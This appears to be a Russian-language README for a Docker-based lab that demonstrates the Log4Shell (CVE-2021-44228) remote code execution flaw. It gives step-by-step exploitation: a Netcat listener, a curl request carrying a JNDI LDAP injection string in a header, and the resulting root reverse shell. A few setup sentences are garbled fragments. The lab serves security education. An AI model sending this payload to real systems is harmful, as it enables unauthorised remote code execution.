
Автоматизированная лаборатория Plug & Play в Docker для аудита и изучения уязвимости Log4Shell (CVE-2021-44228)
Автоматизированная, однокомандная лаборатория для исследований безопасности, предназначенная для демонстрации и аудита уязвимости Log4Shell (CVE-2021-44228) удаленного выполнения кода (RCE).
Этот проект объединяет все необходимые компоненты (уязвимое приложение, вредоносный LDAP-сервер перенаправления и инструменты атакующего) в единую изолированную сетевую инфраструктуру с использованием Docker Compose.
.env или согласование сети. Все разрешается автоматически через внутренний DNS Docker.UnsupportedClassVersionError.configurar.sh), который автоматизирует удаление контейнеров, очистку кэша и пересборку.Лаборатория создает изолированную мостовую сеть (red-log4shell) с тремя ключевыми участниками:
web-vulnerable): Веб-приложение Spring Boot, использующее непропатченную уязвимую версию Log4j (2.14.1) на Java 8u111.ldap-malicioso): Работает на marshalsec для перехвата входящих запросов поиска и динамического перенаправления жертвы на нагрузку атакующего.kali-tools): Пользовательский контейнер Kali Linux, который размещает HTTP-сервер Python для доставки скомпилированной нагрузки эксплойта (Exploit.class) и слушатель Netcat для получения реверс-шелла.Для развертывания этой лаборатории на любой Linux-машине с установленным Docker выполните следующие команды в терминале:
# 1. Clone the repository
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git
# 2. Navigate to the project directory
cd mi-laboratorio-log4shell
# 3. Grant execution permissions to the script manager and launch the lab
chmod +x configurar.sh
./configurar.sh
🚀 Как провести эксплуатацию (пошагово)
Как только инфраструктура автоматически запустится с помощью скрипта, выполните следующие шаги, чтобы инициировать эксплойт и перехватить реверс-шелл.
Шаг 1: Настройка слушателя Netcat
Откройте новый терминал на вашей хост-машине (Ubuntu) и подключитесь к контейнеру атакующего, чтобы перевести Netcat в режим ожидания входящих подключений:
sudo docker exec -it kali-tools bash
Внутри контейнера Kali запустите слушатель:
nc -lvnp 4444
Вы увидите сообщение: listening on [any] 4444 ...
Шаг 2: Запуск вектора атаки
Откройте еще один отдельный терминал на хост-машине и отправьте вредоносную строку внедрения JNDI, встроенную в заголовок X-Api-Version:
curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'
Шаг 3: Проверка реверс-шелла
Вернитесь к вашему терминалу Netcat. Вы должны увидеть активное соединение. Теперь вы можете выполнять команды от имени root внутри сервера-жертвы:
connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164
whoami
root
Этот репозиторий создан строго для образовательных целей, исследований в области безопасности и авторизованного академического аудита. Никогда не выполняйте эти инструменты или атаку на инфраструктуру без явного предварительного письменного разрешения владельцев инфраструктуры.